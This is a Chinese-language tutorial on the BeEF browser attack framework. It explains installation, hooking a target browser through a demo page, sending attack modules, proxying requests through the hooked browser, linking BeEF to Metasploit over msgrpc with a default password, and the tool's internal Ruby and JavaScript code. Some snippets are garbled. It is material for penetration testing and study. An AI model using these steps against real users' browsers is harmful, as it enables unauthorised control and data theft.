BeEF

一、BeEF简介

  BeEF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。可在其官网找到更详细的介绍http://beefproject.com/。

  二、安装BeEF

  先下载Beef最新版本

  $ svn checkout http://beef.googlecode.com/svn/track/ beef

  $ ruby install

  选择第一项自动安装需要的相关gems即可,也可以选择2按照提示一个一个进行安装,安装完成后就可以直接启动了

  $ ruby beef -x

  三、使用说明

  3.1 启动BeEF

  安装完成后,启动BeEF

  #./beef

  命令行中显示的UI URL以后即为WEB接口,用浏览器打开,输入默认密码beef/beef,即可进入BeEF管理页面

  按照提示,假设此时目标192.168.11.1的服务器访问了这个demo页面

  http://192.168.11.152:3000/demos/basic.html。则就被hook上了,如下图所示

  3.2 实施攻击

  HOOK持续的时间为关闭测试页面为止。在此期间,相当于被控制了,可以发送攻击命令了。选择commands栏,可以看到很多已经分好类的攻击模块

  其中,4种颜色分别表示:

  该攻击模块可用,且隐蔽性强

  该攻击模块可用,但隐蔽性查

  该用户模块是否可用还有待验证

  该攻击模块不可用

  例如,选取MISC下的Raw JavaScript模块作为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等。输入Javascript code,点击Excute进行攻击,效果如下图所示

  3.3 Proxy功能

  选中目标主机,点右键,在菜单中选中Use as Proxy

  然后再Rider选项卡中的Forge Request 编辑并发送想要发送的内容

  通过查看目标浏览器firebug记录,可以确信确实发送了该http,达到了代理效果。同时Rider下的History选项也记录了发送历史记录

  四、Metasploit组合

  由于BeEF默认是不加载metasploit的,要使用Metasploit丰富的攻击模块,需要做些配置。BT5下,首先到beef目录下修改/pentest/web/beef/config.yaml文件,将其中的metasploit选项改为enable,如下所示:

  然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到其中的pass默认为abc123,这是与metasploit通信约定的密码。转到msf目录 /opt/metasploit/msf3/。新建一个 beef.rc文件,内容为

  load msgrpc ServerHost=127.0.0.1 Pass=abc123

  从而实现与beef的通信。启动msfconsole,

  #msfconsole –r beef.rc,如下图所示,顺利启动服务。

  现在可以启动beef了,启动后,可以看到BEEF加载了204个metasploit的攻击模块

  页面如图,现在可以使用metasploit的模块进行攻击了。

  五、实现原理

  5.1 简述

  BEEF 采用ruby语言编写,其目录结构如下所示:

  除去一些安装和说明文件,Beef最主要的目录有三个,core、extension和modules。BEEF的核心文件在core目录下,各种扩展功能在extension目录下,modules则为攻击模块目录。

  5.2 Core

  Core目录是BEEF的核心目录,并负责加载extension和module。其中最关键的文件位于core\main目录下,其文件结构如下所示:

  Client目录下均为js文件,是在受控客户端(hooked browser)使用的js文件,包括net、browser、encode、os等的实现,以update.js为例,在core\main\client\update.js中可以看到,定义了beef.updater,设置每隔5秒check一次是否有新的命令,如果有,则获取并执行之。

  Console目录用于命令行控制

  Constants目录定义了各种常量

  Handlers目录主要用于处理来自受控客户端连接请求。

  Models 定义了一些基本的类

  Rest目录:即WEB服务基于REST原则,是一种轻量级的HTTP实现。 在server.rb中可看到,是通过mount的形式将资源与URL相对应,即它不是一个简单的WEB目录服务,任何需要http服务的资源,都需要先mount才能使用。

  def mount(url, http_handler_class, args = nil)

  # argument type checking

  raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?

  if args == nil

  mounts[url] = http_handler_class

  else

  mounts[url] = http_handler_class, *args

  end

  print_debug(“Server: mounted handler ‘#{url}’”)

  end

  ………

  self.mount(“/init”, BeEF::Core::Handlers::BrowserDetails)

  ………

  # Rack mount points

  @rack_app = Rack::URLMap.new(@mounts)

  ………

  # Create the BeEF http server

  @http_server = Thin::Server.new(

  @configuration.get(‘beef.http.host’),

  @configuration.get(‘beef.http.port’),

  @rack_app)

  5.3 extensions

  Extention目录下为各种扩展应用

  其中几个extension的作用如下:

  Admin_ui: 实现了一个WEB界面的控制后台。

  Metasploit: 与metasploit互通相关的设置。

  Requester: 负责处理HTTP请求,其文件如下所示:

  其中:

  Extension.rb 是每个扩展必有的文件,是加载该扩展的接口文件。

  Config.yaml为作者和该扩展相关信息。

  Api.rb为自身注册的一些API函数。

  Models定义了一个http模型对象,例如,其中有个has_run属性,当请求未发送时,其值为”waiting”,发送攻击时,遍历状态为”waiting”的模块,并发送http请求。

  Handler.rb 主要是处理http响应,收到响应后将相应的模块has_run状态置为complete,并保存到数据库

  5.4 modules

  Modules集合了BEEF的各个攻击模块,一般一个攻击模块分为3个文件:command.js、config.yaml、module.rb。这样的结构可以很方便地进行模块添加,易于扩展。

  Config.yaml: 攻击模块相关信息,如名称、描述、分类、作者、适用场景等

  Module.rb:文件定义了该攻击模块的类,继承了BEFF::Core::Command类,在通用command类的基础上定义一些该模块特有的处理函数,如使用较多的一个函数是post_execute,即攻击进行后进行的操作(一般为保存结果),如下所示。

  class Browser_fingerprinting<beef::core::command< p="">

  def post_execute

  content = {}

  content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?

  content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?

  if content.empty?

  content['fail'] = ‘Failed to fingerprint browser.’

  end

  save content

  end

  end

  Command.js: 即为攻击代码,攻击时读取此js并发送给受控客户端。以detect_firebug模块的command.js为例,代码如下所示:

  beef.execute(function() {

  var result = “Not in use or not installed”;

  if (window.console &&(window.console.firebug || window.console.exception)) result = “Enabled and in use!”;

  beef.net.send(“”, , “firebug=”+result);

  });

  代码很简单,在受控客户端执行取得结果之后,将结果返回给server端。Beef.net在core/main/client目录下定义。

  在 Core目录下的Command.rb中,可以看到加载过程,首先判断该攻击模块的command.js是否存在,如存在,就读取到@eruby,可能还需要进行参数替换,所以需要进行evaluate操作。

  def output

  f = @path+’command.js’

  (print_error “#{f} file does not exist”;return) if not File.exists? f

  command = BeEF::Core::Models::Command.first(:id => @command_id)

  @eruby = Erubis::FastEruby.new(File.read(f))

  data = BeEF::Core::Configuration.instance.get(“beef.module.#{@key}”)

  cc = BeEF::Core::CommandContext.new

  cc['command_url'] = @default_command_url

  cc['command_id'] = @command_id

  JSON.parse(command['data']).each{|v|

  cc[v['name']] = v['value']

  }

  if self.respond_to?(:execute)

  self.execute

  end

  @output = @eruby.evaluate(cc)

  @output

  end

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